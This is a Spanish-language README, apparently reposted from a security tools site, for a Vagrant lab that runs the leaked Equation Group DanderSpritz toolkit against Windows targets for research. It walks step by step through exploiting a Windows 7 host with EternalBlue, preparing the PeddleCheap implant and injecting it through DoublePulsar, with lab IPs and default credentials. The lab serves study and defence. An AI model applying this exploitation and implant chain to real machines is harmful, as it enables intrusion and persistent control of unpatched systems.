El objetivo del laboratorio DanderSpritz es permitir a investigadores y defensores configurar rápidamente una versión completamente funcional de DanderSpritz - El conjunto de herramientas de post-explotación del Equation Group y un dominio Windows Server 2008 y un cliente como objetivos. Los objetivos de Windows tienen algunas herramientas de ingeniería inversa que encontré útiles mientras investigaba DanderSpritz y sus capacidades.
Un sitio web que he creado para documentar las capacidades y herramientas de DanderSpritz: https://danderspritz.com
NOTA: Este laboratorio no ha sido endurecido de ninguna manera (es intencionalmente vulnerable) y se ejecuta con credenciales predeterminadas de Vagrant. No lo conecte ni lo puentee a ninguna red que le importe.
Requisitos
20 GB+ de espacio libre en disco
8 GB+ de RAM
20 GB de uso de ancho de banda (para descargar ISOs, actualizaciones, service packs, etc.)
DanderSpritz utiliza Packer, Vagrant y el plugin Vagrant-reload para instalar y configurar el laboratorio desde cero. Packer descargará las ISOs de Windows directamente de Microsoft e instalará versiones de prueba del software para su uso durante la investigación.
Clone este repositorio en su propia máquina
git clone [email protected]:francisck/DanderSpritz_lab.git
Asegúrese de tener instalado el plugin Vagrant-reload
vagrant plugin install vagrant-reload
Para descargar las ISOs y realizar la construcción de las cajas Vagrant ejecute el siguiente comando:
packer build danderspritz_lab.json
Una vez construidas las cajas Vagrant, inicie las máquinas virtuales y permítales continuar con algo de configuración adicional:
vagrant up
Crear un proyecto FuzzBunch
Abra el Símbolo del sistema de Windows (cmd) y ejecute lo siguiente:
D:\python fb.py
Establezca una dirección de objetivo predeterminada de 192.168.40.3
Establezca una dirección de callback predeterminada de 192.168.40.4
No use redireccionamiento (al principio)
Deje el directorio de registros predeterminado
Cree un nuevo proyecto (opción 0)
Asigne un nombre a su nuevo proyecto
Deje el directorio de registros predeterminado
Explotar la Máquina Objetivo
Ejecute el siguiente comando para explotar la máquina usando EternalBlue
use eternalblue
Elija todas las opciones predeterminadas excepto el mecanismo de entrega. Use "FB" (despliegue tradicional) como mecanismo de entrega
Una vez que EternalBlue tenga éxito, configure danderspritz y peddlecheap
Configurar e Iniciar DanderSpritz
Abra otro Símbolo del sistema de Windows (cmd) y ejecute lo siguiente:
D:\python configure_lp
Permita Java a través del cortafuegos
Seleccione browse junto a "Log directory" y elija el nombre del proyecto FuzzBunch que creó
Haga clic en "go"
Preparación de PeddleCheap (configurar el implante)
En la consola de DanderSpritz, ejecute el siguiente comando:
pc_prep
Seleccione el payload estándar x64-winnt level 3 sharedlib
5
No seleccione opciones avanzadas
Elija realizar un callback inmediato
Use el ID de PC predeterminado (0)
Seleccione "Yes" en "Do you want to listen?"
No cambie los puertos de escucha
Deje la dirección de "callback" predeterminada (127.0.0.1)
No cambie el nombre del exe
Use la clave predeterminada (opción 2)
Valide que la configuración de PeddleCheap sea válida
No configure con FC (felonycrowbar)
Copie la ubicación del binario configurado:
Entregar el implante (peddlecheap) a través del backdoor DoublePulsar:
En la ventana original de Fuzzbunch escriba:
use doublepulsar
Elija "yes" cuando se le pregunte si desea que se le soliciten las variables
Seleccione todas las variables predeterminadas excepto la arquitectura de destino (elija la opción 1)
1) x64 x64 64-bits
Seleccione la función "RunDLL" (opción 2)
2) RunDLL Use an APC to inject a DLL into a user mode process.
Deje todas las demás opciones predeterminadas y seleccione "Yes" cuando se le pregunte si desea ejecutar el plugin
Debería ver "Doublepulsar succeeded"
Conectar al implante PeddleCheap con DanderSpritz
En DanderSpritz seleccione "PeddleCheap" en la parte superior de la pantalla
Seleccione la clave "default" del menú desplegable de claves
Introduzca la dirección de la máquina objetivo (192.168.40.3)
Seleccione "Connect to target"
Seleccione el nombre de su proyecto Fuzzbunch
Espere a que se complete la Encuesta de DanderSpritz (tomará bastante tiempo) y tendrá que responder algunas preguntas en el proceso
¡Benefíciese!
¡Úsalo para el bien, no para el mal!
El propósito de este proyecto es permitir que investigadores de seguridad construyan y configuren fácilmente un laboratorio DanderSpritz completamente funcional para ingeniería inversa y pruebas.
No ejecute esto contra ningún objetivo fuera de este laboratorio.
Una vez que haya ejecutado packer una vez, no necesitará ejecutarlo de nuevo. Las cajas Vagrant estarán disponibles para reconstruir, derribar, reiniciar su laboratorio.
A continuación se presentan algunos comandos útiles que puede usar mientras trabaja con el laboratorio:
Uso básico de Vagrant
Iniciar todos los hosts del Laboratorio DanderSpritz: vagrant up
Iniciar un host específico: vagrant up <hostname>
Reiniciar un host específico: vagrant reload <hostname>
Reiniciar un host específico y volver a ejecutar el proceso de aprovisionamiento: vagrant reload <hostname> --provision
Destruir un host específico vagrant destroy <hostname>
Destruir todo el entorno del Laboratorio DanderSpritz: vagrant destroy
Hacer una instantánea de una máquina: vagrant snapshot save <hostname> <snapshot_name>
Restaurar una instantánea de máquina: vagrant snapshot restore <hostname> <snapshot_name>
Verificar el estado de cada host: vagrant status
Suspender el entorno del laboratorio: vagrant suspend
Reanudar el entorno del laboratorio: vagrant resume
Reactivar hosts de Windows caducados
Si se encuentra con un problema donde la licencia de prueba ha caducado, puede reactivar los hosts hasta 3 veces (para 90 días de licencia de Windows) ejecutando este comando en un símbolo del sistema administrativo
root@kitploit:~
`slmgr /rearm'
Tendrá que reiniciar la máquina.
Información del Laboratorio
Diagrama del Laboratorio
Información adicional del laboratorio
Nombre de dominio: windomain.local
Inicio de sesión de administrador (todas las máquinas): vagrant:vagrant
DC (Controlador de dominio): 192.168.40.2/24
Objetivo: 192.168.40.3/24
DanderSpritz: 192.168.40.4/24
Hosts del Laboratorio
DC - Controlador de dominio Windows 2008 R2
Controlador de dominio de Windows para Windomain.local
GPO de configuración del servidor WEF
GPO de registro de PowerShell
GPO de política de auditoría mejorada de Windows
Objetivo - Estación de trabajo Windows 7
Simula una estación de trabajo / máquina objetivo
Unido al dominio AD de Windows Windomain.local
Algunas herramientas de reversión / visibilidad preinstaladas
Chocolatey (con repositorio FireEye Flare) disponible para instalación adicional de herramientas
Caja DanderSpritz - Windows 10
DanderSpritz y Fuzzbunch preinstalados
Herramientas Instaladas en el Objetivo (Windows 7 SP1)
Eventos de Windows reenviados al Controlador de Dominio (WEC)
Créditos/Recursos
Un porcentaje considerable de este código fue tomado y adaptado del proyecto DetectionLab de Chris Long, junto con los repositorios de Github packer-windows y adfs2 de Stefan Scherer. Un enorme agradecimiento a todos los que han contribuido con su código para hacer que proyectos como este sean más fáciles (o incluso posibles).